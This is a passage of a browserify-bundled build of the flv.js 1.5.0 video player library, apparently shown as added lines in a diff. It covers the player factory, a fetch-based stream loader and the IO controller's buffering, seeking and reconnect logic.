(obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var _polyfill = _dereq_('./utils/polyfill.js'); + + var _polyfill2 = _interopRequireDefault(_polyfill); + + var _features = _dereq_('./core/features.js'); + + var _features2 = _interopRequireDefault(_features); + + var _loader = _dereq_('./io/loader.js'); + + var _flvPlayer = _dereq_('./player/flv-player.js'); + + var _flvPlayer2 = _interopRequireDefault(_flvPlayer); + + var _nativePlayer = _dereq_('./player/native-player.js'); + + var _nativePlayer2 = _interopRequireDefault(_nativePlayer); + + var _playerEvents = _dereq_('./player/player-events.js'); + + var _playerEvents2 = _interopRequireDefault(_playerEvents); + + var _playerErrors = _dereq_('./player/player-errors.js'); + + var _loggingControl = _dereq_('./utils/logging-control.js'); + + var _loggingControl2 = _interopRequireDefault(_loggingControl); + + var _exception = _dereq_('./utils/exception.js'); + + function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } + +// here are all the interfaces + +// install polyfills + _polyfill2.default.install(); + +// factory method + function createPlayer(mediaDataSource, optionalConfig) { + var mds = mediaDataSource; + if (mds == null || (typeof mds === 'undefined' ? 'undefined' : _typeof(mds)) !== 'object') { + throw new _exception.InvalidArgumentException('MediaDataSource must be an javascript object!'); + } + + if (!mds.hasOwnProperty('type')) { + throw new _exception.InvalidArgumentException('MediaDataSource must has type field to indicate video file type!'); + } + + switch (mds.type) { + case 'flv': + return new _flvPlayer2.default(mds, optionalConfig); + default: + return new _nativePlayer2.default(mds, optionalConfig); + } + } + +// feature detection + function isSupported() { + return _features2.default.supportMSEH264Playback(); + } + + function getFeatureList() { + return _features2.default.getFeatureList(); + } + +// interfaces + var flvjs = {}; + + flvjs.createPlayer = createPlayer; + flvjs.isSupported = isSupported; + flvjs.getFeatureList = getFeatureList; + + flvjs.BaseLoader = _loader.BaseLoader; + flvjs.LoaderStatus = _loader.LoaderStatus; + flvjs.LoaderErrors = _loader.LoaderErrors; + + flvjs.Events = _playerEvents2.default; + flvjs.ErrorTypes = _playerErrors.ErrorTypes; + flvjs.ErrorDetails = _playerErrors.ErrorDetails; + + flvjs.FlvPlayer = _flvPlayer2.default; + flvjs.NativePlayer = _nativePlayer2.default; + flvjs.LoggingControl = _loggingControl2.default; + + Object.defineProperty(flvjs, 'version', { + enumerable: true, + get: function get() { + // replaced by browserify-versionify transform + return '1.5.0'; + } + }); + + exports.default = flvjs; + +},{"./core/features.js":6,"./io/loader.js":24,"./player/flv-player.js":32,"./player/native-player.js":33,"./player/player-errors.js":34,"./player/player-events.js":35,"./utils/exception.js":40,"./utils/logging-control.js":42,"./utils/polyfill.js":43}],21:[function(_dereq_,module,exports){ + 'use strict'; + +// entry/index file + +// make it compatible with browserify's umd wrapper + module.exports = _dereq_('./flv.js').default; + +},{"./flv.js":20}],22:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; + + var _get = function get(object, property, receiver) { if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { return get(parent, property, receiver); } } else if ("value" in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } }; + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); + + var _logger = _dereq_('../utils/logger.js'); + + var _logger2 = _interopRequireDefault(_logger); + + var _browser = _dereq_('../utils/browser.js'); + + var _browser2 = _interopRequireDefault(_browser); + + var _loader = _dereq_('./loader.js'); + + var _exception = _dereq_('../utils/exception.js'); + + function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; } + + function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + /* fetch + stream IO loader. Currently working on chrome 43+. + * fetch provides a better alternative http API to XMLHttpRequest + * + * fetch spec https://fetch.spec.whatwg.org/ + * stream spec https://streams.spec.whatwg.org/ + */ + var FetchStreamLoader = function (_BaseLoader) { + _inherits(FetchStreamLoader, _BaseLoader); + + _createClass(FetchStreamLoader, null, [{ + key: 'isSupported', + value: function isSupported() { + try { + // fetch + stream is broken on Microsoft Edge. Disable before build 15048. + // see https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/8196907/ + // Fixed in Jan 10, 2017. Build 15048+ removed from blacklist. + var isWorkWellEdge = _browser2.default.msedge && _browser2.default.version.minor >= 15048; + var browserNotBlacklisted = _browser2.default.msedge ? isWorkWellEdge : true; + return self.fetch && self.ReadableStream && browserNotBlacklisted; + } catch (e) { + return false; + } + } + }]); + + function FetchStreamLoader(seekHandler, config) { + _classCallCheck(this, FetchStreamLoader); + + var _this = _possibleConstructorReturn(this, (FetchStreamLoader.__proto__ || Object.getPrototypeOf(FetchStreamLoader)).call(this, 'fetch-stream-loader')); + + _this.TAG = 'FetchStreamLoader'; + + _this._seekHandler = seekHandler; + _this._config = config; + _this._needStash = true; + + _this._requestAbort = false; + _this._contentLength = null; + _this._receivedLength = 0; + return _this; + } + + _createClass(FetchStreamLoader, [{ + key: 'destroy', + value: function destroy() { + if (this.isWorking()) { + this.abort(); + } + _get(FetchStreamLoader.prototype.__proto__ || Object.getPrototypeOf(FetchStreamLoader.prototype), 'destroy', this).call(this); + } + }, { + key: 'open', + value: function open(dataSource, range) { + var _this2 = this; + + this._dataSource = dataSource; + this._range = range; + + var sourceURL = dataSource.url; + if (this._config.reuseRedirectedURL && dataSource.redirectedURL != undefined) { + sourceURL = dataSource.redirectedURL; + } + + var seekConfig = this._seekHandler.getConfig(sourceURL, range); + + var headers = new self.Headers(); + + if (_typeof(seekConfig.headers) === 'object') { + var configHeaders = seekConfig.headers; + for (var key in configHeaders) { + if (configHeaders.hasOwnProperty(key)) { + headers.append(key, configHeaders[key]); + } + } + } + + var params = { + method: 'GET', + headers: headers, + mode: 'cors', + cache: 'default', + // The default policy of Fetch API in the whatwg standard + // Safari incorrectly indicates 'no-referrer' as default policy, fuck it + referrerPolicy: 'no-referrer-when-downgrade' + }; + + // add additional headers + if (_typeof(this._config.headers) === 'object') { + for (var _key in this._config.headers) { + headers.append(_key, this._config.headers[_key]); + } + } + + // cors is enabled by default + if (dataSource.cors === false) { + // no-cors means 'disregard cors policy', which can only be used in ServiceWorker + params.mode = 'same-origin'; + } + + // withCredentials is disabled by default + if (dataSource.withCredentials) { + params.credentials = 'include'; + } + + // referrerPolicy from config + if (dataSource.referrerPolicy) { + params.referrerPolicy = dataSource.referrerPolicy; + } + + this._status = _loader.LoaderStatus.kConnecting; + self.fetch(seekConfig.url, params).then(function (res) { + if (_this2._requestAbort) { + _this2._requestAbort = false; + _this2._status = _loader.LoaderStatus.kIdle; + return; + } + if (res.ok && res.status >= 200 && res.status <= 299) { + if (res.url !== seekConfig.url) { + if (_this2._onURLRedirect) { + var redirectedURL = _this2._seekHandler.removeURLParameters(res.url); + _this2._onURLRedirect(redirectedURL); + } + } + + var lengthHeader = res.headers.get('Content-Length'); + if (lengthHeader != null) { + _this2._contentLength = parseInt(lengthHeader); + if (_this2._contentLength !== 0) { + if (_this2._onContentLengthKnown) { + _this2._onContentLengthKnown(_this2._contentLength); + } + } + } + + return _this2._pump.call(_this2, res.body.getReader()); + } else { + _this2._status = _loader.LoaderStatus.kError; + if (_this2._onError) { + _this2._onError(_loader.LoaderErrors.HTTP_STATUS_CODE_INVALID, { code: res.status, msg: res.statusText }); + } else { + throw new _exception.RuntimeException('FetchStreamLoader: Http code invalid, ' + res.status + ' ' + res.statusText); + } + } + }).catch(function (e) { + _this2._status = _loader.LoaderStatus.kError; + if (_this2._onError) { + _this2._onError(_loader.LoaderErrors.EXCEPTION, { code: -1, msg: e.message }); + } else { + throw e; + } + }); + } + }, { + key: 'abort', + value: function abort() { + this._requestAbort = true; + } + }, { + key: '_pump', + value: function _pump(reader) { + var _this3 = this; + + // ReadableStreamReader + return reader.read().then(function (result) { + if (result.done) { + // First check received length + if (_this3._contentLength !== null && _this3._receivedLength < _this3._contentLength) { + // Report Early-EOF + _this3._status = _loader.LoaderStatus.kError; + var type = _loader.LoaderErrors.EARLY_EOF; + var info = { code: -1, msg: 'Fetch stream meet Early-EOF' }; + if (_this3._onError) { + _this3._onError(type, info); + } else { + throw new _exception.RuntimeException(info.msg); + } + } else { + // OK. Download complete + _this3._status = _loader.LoaderStatus.kComplete; + if (_this3._onComplete) { + _this3._onComplete(_this3._range.from, _this3._range.from + _this3._receivedLength - 1); + } + } + } else { + if (_this3._requestAbort === true) { + _this3._requestAbort = false; + _this3._status = _loader.LoaderStatus.kComplete; + return reader.cancel(); + } + + _this3._status = _loader.LoaderStatus.kBuffering; + + var chunk = result.value.buffer; + var byteStart = _this3._range.from + _this3._receivedLength; + _this3._receivedLength += chunk.byteLength; + + if (_this3._onDataArrival) { + _this3._onDataArrival(chunk, byteStart, _this3._receivedLength); + } + + _this3._pump(reader); + } + }).catch(function (e) { + if (e.code === 11 && _browser2.default.msedge) { + // InvalidStateError on Microsoft Edge + // Workaround: Edge may throw InvalidStateError after ReadableStreamReader.cancel() call + // Ignore the unknown exception. + // Related issue: https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/11265202/ + return; + } + + _this3._status = _loader.LoaderStatus.kError; + var type = 0; + var info = null; + + if ((e.code === 19 || e.message === 'network error') && ( // NETWORK_ERR + _this3._contentLength === null || _this3._contentLength !== null && _this3._receivedLength < _this3._contentLength)) { + type = _loader.LoaderErrors.EARLY_EOF; + info = { code: e.code, msg: 'Fetch stream meet Early-EOF' }; + } else { + type = _loader.LoaderErrors.EXCEPTION; + info = { code: e.code, msg: e.message }; + } + + if (_this3._onError) { + _this3._onError(type, info); + } else { + throw new _exception.RuntimeException(info.msg); + } + }); + } + }]); + + return FetchStreamLoader; + }(_loader.BaseLoader); + + exports.default = FetchStreamLoader; + +},{"../utils/browser.js":39,"../utils/exception.js":40,"../utils/logger.js":41,"./loader.js":24}],23:[function(_dereq_,module,exports){ + 'use strict'; + + Object.defineProperty(exports, "__esModule", { + value: true + }); + + var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); /* + * Copyright (C) 2016 Bilibili. All Rights Reserved. + * + * @author zheng qian + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + var _logger = _dereq_('../utils/logger.js'); + + var _logger2 = _interopRequireDefault(_logger); + + var _speedSampler = _dereq_('./speed-sampler.js'); + + var _speedSampler2 = _interopRequireDefault(_speedSampler); + + var _loader = _dereq_('./loader.js'); + + var _fetchStreamLoader = _dereq_('./fetch-stream-loader.js'); + + var _fetchStreamLoader2 = _interopRequireDefault(_fetchStreamLoader); + + var _xhrMozChunkedLoader = _dereq_('./xhr-moz-chunked-loader.js'); + + var _xhrMozChunkedLoader2 = _interopRequireDefault(_xhrMozChunkedLoader); + + var _xhrMsstreamLoader = _dereq_('./xhr-msstream-loader.js'); + + var _xhrMsstreamLoader2 = _interopRequireDefault(_xhrMsstreamLoader); + + var _xhrRangeLoader = _dereq_('./xhr-range-loader.js'); + + var _xhrRangeLoader2 = _interopRequireDefault(_xhrRangeLoader); + + var _websocketLoader = _dereq_('./websocket-loader.js'); + + var _websocketLoader2 = _interopRequireDefault(_websocketLoader); + + var _rangeSeekHandler = _dereq_('./range-seek-handler.js'); + + var _rangeSeekHandler2 = _interopRequireDefault(_rangeSeekHandler); + + var _paramSeekHandler = _dereq_('./param-seek-handler.js'); + + var _paramSeekHandler2 = _interopRequireDefault(_paramSeekHandler); + + var _exception = _dereq_('../utils/exception.js'); + + function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + /** + * DataSource: { + * url: string, + * filesize: number, + * cors: boolean, + * withCredentials: boolean + * } + * + */ + +// Manage IO Loaders + var IOController = function () { + function IOController(dataSource, config, extraData) { + _classCallCheck(this, IOController); + + this.TAG = 'IOController'; + + this._config = config; + this._extraData = extraData; + + this._stashInitialSize = 1024 * 384; // default initial size: 384KB + if (config.stashInitialSize != undefined && config.stashInitialSize > 0) { + // apply from config + this._stashInitialSize = config.stashInitialSize; + } + + this._stashUsed = 0; + this._stashSize = this._stashInitialSize; + this._bufferSize = 1024 * 1024 * 3; // initial size: 3MB + this._stashBuffer = new ArrayBuffer(this._bufferSize); + this._stashByteStart = 0; + this._enableStash = true; + if (config.enableStashBuffer === false) { + this._enableStash = false; + } + + this._loader = null; + this._loaderClass = null; + this._seekHandler = null; + + this._dataSource = dataSource; + this._isWebSocketURL = /wss?:\/\/(.+?)/.test(dataSource.url); + this._refTotalLength = dataSource.filesize ? dataSource.filesize : null; + this._totalLength = this._refTotalLength; + this._fullRequestFlag = false; + this._currentRange = null; + this._redirectedURL = null; + + this._speedNormalized = 0; + this._speedSampler = new _speedSampler2.default(); + this._speedNormalizeList = [64, 128, 256, 384, 512, 768, 1024, 1536, 2048, 3072, 4096]; + + this._isEarlyEofReconnecting = false; + + this._paused = false; + this._resumeFrom = 0; + + this._onDataArrival = null; + this._onSeeked = null; + this._onError = null; + this._onComplete = null; + this._onRedirect = null; + this._onRecoveredEarlyEof = null; + + this._selectSeekHandler(); + this._selectLoader(); + this._createLoader(); + } + + _createClass(IOController, [{ + key: 'destroy', + value: function destroy() { + if (this._loader.isWorking()) { + this._loader.abort(); + } + this._loader.destroy(); + this._loader = null; + this._loaderClass = null; + this._dataSource = null; + this._stashBuffer = null; + this._stashUsed = this._stashSize = this._bufferSize = this._stashByteStart = 0; + this._currentRange = null; + this._speedSampler = null; + + this._isEarlyEofReconnecting = false; + + this._onDataArrival = null; + this._onSeeked = null; + this._onError = null; + this._onComplete = null; + this._onRedirect = null; + this._onRecoveredEarlyEof = null; + + this._extraData = null; + } + }, { + key: 'isWorking', + value: function isWorking() { + return this._loader && this._loader.isWorking() && !this._paused; + } + }, { + key: 'isPaused', + value: function isPaused() { + return this._paused; + } + }, { + key: '_selectSeekHandler', + value: function _selectSeekHandler() { + var config = this._config; + + if (config.seekType === 'range') { + this._seekHandler = new _rangeSeekHandler2.default(this._config.rangeLoadZeroStart); + } else if (config.seekType === 'param') { + var paramStart = config.seekParamStart || 'bstart'; + var paramEnd = config.seekParamEnd || 'bend'; + + this._seekHandler = new _paramSeekHandler2.default(paramStart, paramEnd); + } else if (config.seekType === 'custom') { + if (typeof config.customSeekHandler !== 'function') { + throw new _exception.InvalidArgumentException('Custom seekType specified in config but invalid customSeekHandler!'); + } + this._seekHandler = new config.customSeekHandler(); + } else { + throw new _exception.InvalidArgumentException('Invalid seekType in config: ' + config.seekType); + } + } + }, { + key: '_selectLoader', + value: function _selectLoader() { + if (this._config.customLoader != null) { + this._loaderClass = this._config.customLoader; + } else if (this._isWebSocketURL) { + this._loaderClass = _websocketLoader2.default; + } else if (_fetchStreamLoader2.default.isSupported()) { + this._loaderClass = _fetchStreamLoader2.default; + } else if (_xhrMozChunkedLoader2.default.isSupported()) { + this._loaderClass = _xhrMozChunkedLoader2.default; + } else if (_xhrRangeLoader2.default.isSupported()) { + this._loaderClass = _xhrRangeLoader2.default; + } else { + throw new _exception.RuntimeException('Your browser doesn\'t support xhr with arraybuffer responseType!'); + } + } + }, { + key: '_createLoader', + value: function _createLoader() { + this._loader = new this._loaderClass(this._seekHandler, this._config); + if (this._loader.needStashBuffer === false) { + this._enableStash = false; + } + this._loader.onContentLengthKnown = this._onContentLengthKnown.bind(this); + this._loader.onURLRedirect = this._onURLRedirect.bind(this); + this._loader.onDataArrival = this._onLoaderChunkArrival.bind(this); + this._loader.onComplete = this._onLoaderComplete.bind(this); + this._loader.onError = this._onLoaderError.bind(this); + } + }, { + key: 'open', + value: function open(optionalFrom) { + this._currentRange = { from: 0, to: -1 }; + if (optionalFrom) { + this._currentRange.from = optionalFrom; + } + + this._speedSampler.reset(); + if (!optionalFrom) { + this._fullRequestFlag = true; + } + + this._loader.open(this._dataSource, Object.assign({}, this._currentRange)); + } + }, { + key: 'abort', + value: function abort() { + this._loader.abort(); + + if (this._paused) { + this._paused = false; + this._resumeFrom = 0; + } + } + }, { + key: 'pause', + value: function pause() { + if (this.isWorking()) { + this._loader.abort(); + + if (this._stashUsed !== 0) { + this._resumeFrom = this._stashByteStart; + this._currentRange.to = this._stashByteStart - 1; + } else { + this._resumeFrom = this._currentRange.to + 1; + } + this._stashUsed = 0; + this._stashByteStart = 0; + this._paused = true; + } + } + }, { + key: 'resume', + value: function resume() { + if (this._paused) { + this._paused = false; + var bytes = this._resumeFrom; + this._resumeFrom = 0; + this._internalSeek(bytes, true); + } + } + }, { + key: 'seek', + value: function seek(bytes) { + this._paused = false; + this._stashUsed = 0; + this._stashByteStart = 0; + this._internalSeek(bytes, true); + } + + /** + * When seeking request is from media seeking, unconsumed stash data should be dropped + * However, stash data shouldn't be dropped if seeking requested from http reconnection + * + * @dropUnconsumed: Ignore and discard all unconsumed data in stash buffer + */ + + }, { + key: '_internalSeek', + value: function _internalSeek(bytes, dropUnconsumed) { + if (this._loader.isWorking()) { + this._loader.abort(); + } + + // dispatch & flush stash buffer before seek + this._flushStashBuffer(dropUnconsumed); + + this._loader.destroy(); + this._loader = null; + + var requestRange = { from: bytes, to: -1 }; + this._currentRange = { from: requestRange.from, to: -1 }; + + this._speedSampler.reset(); + this._stashSize = this._stashInitialSize; + this._createLoader(); + this._loader.open(this._dataSource, requestRange); + + if (this._onSeeked) { + this._onSeeked(); + } + } + }, { + key: 'updateUrl', + value: function updateUrl(url) { + if (!url || typeof url !== 'string' || url.length === 0) { + throw new _exception.InvalidArgumentException('Url must be a non-empty string!'); + } + + this._dataSource.url = url; + + // TODO: replace with new url + } + }, { + key: '_expandBuffer', + value: function _expandBuffer(expectedBytes) { + var bufferNewSize = this._stashSize; + while (bufferNewSize + 1024 * 1024 * 1 < expectedBytes) { + bufferNewSize *= 2; + } + + bufferNewSize += 1024 * 1024 * 1; // bufferSize = stashSize + 1MB + if (bufferNewSize === this._bufferSize) { + return; + } + + var newBuffer = new ArrayBuffer(bufferNewSize); + + if (this._stashUsed > 0) { + // copy existing data into new buffer + var stashOldArray = new Uint8Array(this._stashBuffer, 0, this._stashUsed); + var stashNewArray = new Uint8Array(newBuffer, 0, bufferNewSize); + stashNewArray.set(stashOldArray, 0); + } + + this._stashBuffer = newBuffer; + this._bufferSize = bufferNewSize; + } + }, { + key: '_normalizeSpeed', + value: function _normalizeSpeed(input) { + var list = this._speedNormalizeList; + var last = list.length - 1; + var mid = 0; + var lbound = 0; + var ubound = last; + + if (input < list[0]) { + return list[0]; + } + + // binary search + while (lbound <= ubound) { + mid = lbound + Math.floor((ubound - lbound) / 2); + if (mid === last || input >= list[mid] && input < list[mid + 1]) { + return list[mid]; + } else if (list[mid] < input) { + lbound = mid + 1; + } else { + ubound = mid - 1; + } + } + } + }, { + key: '_adjustStashSize', + value: function _adjustStashSize(normalized) { + var stashSizeKB = 0; + + if (this._config.isLive) { + // live stream: always use single normalized speed for size of stashSizeKB + stashSizeKB = normalized; + } else { + if (normalized < 512) { + stashSizeKB = normalized; + } else if (normalized >= 512 && normalized <= 1024) { + stashSizeKB = Math.floor(normalized * 1.5); + } else { + stashSizeKB = normalized * 2; + } + } + + if (stashSizeKB > 8192) { + stashSizeKB = 8192; + } + + var bufferSize = stashSizeKB * 1024 + 1024 * 1024 * 1; // stashSize + 1MB + if (this._bufferSize < bufferSize) { + this._expandBuffer(bufferSize); + } + this._stashSize = stashSizeKB * 1024; + } + }, { + key: '_dispatchChunks', + value: function _dispatchChunks(chunks, byteStart) { + this._currentRange.to = byteStart + chunks.byteLength - 1; + return this._onDataArrival(chunks, byteStart); + } + }, { + key: '_onURLRedirect', + value: function _onURLRedirect(redirectedURL) { + this._redirectedURL = redirectedURL; + if (this._onRedirect) { + this._onRedirect(redirectedURL); + } + } + }, { + key: '_onContentLengthKnown', + value: function _onContentLengthKnown(contentLength) { + if (contentLength && this._fullRequestFlag) { + this._totalLength = contentLength; + this._fullRequestFlag = false; + } + } + }, { + key: '_onLoaderChunkArrival', + value: function _onLoaderChunkArrival(chunk, byteStart, receivedLength) { + if (!this._onDataArrival) { + throw new _exception.IllegalStateException('IOController: No existing consumer (onDataArrival) callback!'); + } + if (this._paused) { + return; + } + if (this._isEarlyEofReconnecting) { + // Auto-reconnect for EarlyEof succeed, notify to upper-layer by callback + this._isEarlyEofReconnecting = false; + if (this._onRecoveredEarlyEof) { + this._onRecoveredEarlyEof(); + } + } + + this._speedSampler.addBytes(chunk.byteLength); + + // adjust stash buffer size according to network speed dynamically + var KBps = this._speedSampler.lastSecondKBps; + if (KBps !== 0) { + var normalized = this._normalizeSpeed(KBps); + if (this._speedNormalized !== normalized) { + this._speedNormalized = normalized; + this._adjustStashSize(normalized); + } + } + + if (!this._enableStash) { + // disable stash + if (this._stashUsed === 0) { + // dispatch chunk directly to consumer; + // check ret value (consumed bytes) and stash unconsumed to stashBuffer + var consumed = this._dispatchChunks(chunk, byteStart); + if (consumed < chunk.byteLength) { + // unconsumed data remain. + var remain = chunk.byteLength - consumed; + if (remain > this._bufferSize) { + this._expandBuffer(remain); + } + var stashArray = new Uint8Array(this._stashBuffer, 0, this._bufferSize); + stashArray.set(new Uint8Array(chunk, consumed), 0); + this._stashUsed += remain; + this._stashByteStart = byteStart + consumed; + } + } else { + // else: Merge chunk into stashBuffer, and dispatch stashBuffer to consumer. + if (this._stashUsed + chunk.byteLength > this._bufferSize) { + this._expandBuffer(this._stashUsed + chunk.byteLength); + } + var _stashArray = new Uint8Array(this._stashBuffer, 0, this._bufferSize); + _stashArray.set(new Uint8Array(chunk), this._stashUsed); + this._stashUsed += chunk.byteLength; + var _consumed = this._dispatchChunks(this._stashBuffer.slice(0, this._stashUsed), this._stashByteStart); + if (_consumed < this._stashUsed && _consumed > 0) { + // unconsumed data remain + var remainArray = new Uint8Array(this._stashBuffer, _consumed); + _stashArray.set(remainArray, 0); + } + this._stashUsed -= _consumed; + this._stashByteStart += _consumed; + } + } else { + // enable stash + if (this._stashUsed === 0 && this._stashByteStart === 0) { + // seeked? or init chunk? + // This is the first chunk after seek action + this._stashByteStart = byteStart; + } + if (this._stashUsed + chunk.byteLength <= this._stashSize) { + // just stash + var _stashArray2 = new Uint8Array(this._stashBuffer, 0, this._stashSize); + _stashArray2.set(new Uint8Array(chunk), this._stashUsed); + this._stashUsed += chunk.byteLength; + } else { + // stashUsed + chunkSize > stashSize, size limit exceeded + var _stashArray3 = new Uint8Array(this._stashBuffer, 0, this._bufferSize); + if (this._stashUsed > 0) { + // There're stash datas in buffer + // dispatch the whole stashBuffer, and stash remain data + // then append chunk to stashBuffer (stash) + var buffer = this._stashBuffer.slice(0, this._stashUsed); + var _consumed2 = this._dispatchChunks(buffer, this._stashByteStart); + if (_consumed2 < buffer.byteLength) { + if (_consumed2 > 0) { + var _remainArray = new Uint8Array(buffer, _consumed2); + _stashArray3.set(_remainArray, 0); + this._stashUsed = _remainArray.byteLength; + this._stashByteStart += _consumed2; + } + } else { + this._stashUsed = 0; + this._stashByteStart += _consumed2; + } + if (this._stashUsed + chunk.byteLength > this._bufferSize) { + this._expandBuffer(this._stashUsed + chunk.byteLength); + _stashArray3 = new Uint8Array(this._stashBuffer, 0, this._bufferSize); + } + _stashArray3.set(new Uint8Array(chunk), this._stashUsed); + this._stashUsed += chunk.byteLength; + } else { + // stash buffer empty, but chunkSize > stashSize (oh, holy shit) + // dispatch chunk directly and stash remain data + var _consumed3 = this._dispatchChunks(chunk, byteStart); + if (_consumed3 < chunk.byteLength) { + var _remain = chunk.byteLength - _consumed3; + if (_remain > this._bufferSize) { + this._expandBuffer(_remain); + _stashArray3 = new Uint8Array(this._stashBuffer, 0, this._bufferSize); + } + _stashArray3.set(new Uint8Array(chunk, _consumed3), 0); + this._stashUsed += _remain; + this._stashByteStart = byteStart + _consumed3; + } + } + } + } + } + }, { + key: '_flushStashBuffer', + value: function _flushStashBuffer(dropUnconsumed) { + if (this._stashUsed > 0) { + var buffer = this._stashBuffer.slice(0, this._stashUsed); + var consumed = this._dispatchChunks(buffer, this._stashByteStart); + var remain = buffer.byteLength - consumed; + + if (consumed < buffer.byteLength) { + if (dropUnconsumed) { + _logger2.default.w(this.TAG, remain + ' bytes unconsumed data remain when flush buffer, dropped'); + } else { + if (consumed > 0) { + var stashArray = new Uint8Array(this._stashBuffer, 0, this._bufferSize); + var remainArray = new Uint8Array(buffer, consumed); + stashArray.set(remainArray, 0); + this._stashUsed = remainArray.byteLength; + this._stashByteStart += consumed; + } + return 0; + } + } + this._stashUsed = 0; + this._stashByteStart = 0; + return remain; + } + return 0; + } + }, { + key: '_onLoaderComplete', + value: function _onLoaderComplete(from, to) { + // Force-flush stash buffer, and drop unconsumed data + this._flushStashBuffer(true); + + if (this._onComplete) { + this._onComplete(this._extraData); + } + } + }, { + key: '_onLoaderError', + value: function _onLoaderError(type, data) { + _logger2.default.e(this.TAG, 'Loader error, code = ' + data.code + ', msg = ' + data.msg); + + this._flushStashBuffer(false); + + if (this._isEarlyEofReconnecting) { + // Auto-reconnect for EarlyEof failed, throw UnrecoverableEarlyEof error to upper-layer + this._isEarlyEofReconnecting = false; + type = _loader.LoaderErrors.UNRECOVERABLE_EARLY_EOF; + } + + switch (type) { + case _loader.LoaderErrors.EARLY_EOF: + { + if (!this._config.isLive) { + // Do internal http reconnect if not live stream + if (this._totalLength) { + var nextFrom = this._currentRange.to + 1; + if (nextFrom < this._totalLength) { + _logger2.default.w(this.TAG, 'Connection lost, trying reconnect...'); + this._isEarlyEofReconnecting = true; + this._internalSeek(nextFrom, false); + } + return; + } + // else: We don't know totalLength, throw UnrecoverableEarlyEof + } + // live stream: throw UnrecoverableEarlyEof error to upper-layer + type = _loader.LoaderErrors.UNRECOVERABLE_EARLY_EOF; + break; + } + case _loader.LoaderErrors.UNRECOVERABLE_EARLY_EOF: + case _loader.LoaderErrors.CONNECTING_TIMEOUT: + case _loader.LoaderErrors.HTTP_STATUS_CODE_INVALID: + case _loader.LoaderErrors.EXCEPTION: + break; + } + + if (this._onError) { + this._onError(type, data); + } else { + throw new _exception.RuntimeException('IOException: ' + data.msg); + } + } + }, { + key: 'status', + get: function get() { + return this._loader.status; + } + }, { + key: 'extraData', + get: function get() { + return this._extraData; + }, + set: function set(data) { + this._extraData = data; + } + + // prototype: function onDataArrival(chunks: ArrayBuffer, byteStart: number): number + + }, { + key: 'onDataArrival', + get: function get() { + return this._onDataArrival; + }, + set: function set(callback) { + this._onDataArrival = callback; + } + }, { + key: 'onSeeked', + get: function get() { + return this._onSeeked; + }, + set: function set(callback) { + this._onSeeked = callback; + } + + // prototype: function onError(type: number, info: {code: number, msg: string}): void + + }, { + key: 'onError', + get: function get() { + return this._onError; + }, + set: function set(callback) { + this._onError = callback; + } + }, { + key: 'onComplete', + get: function get() { + return 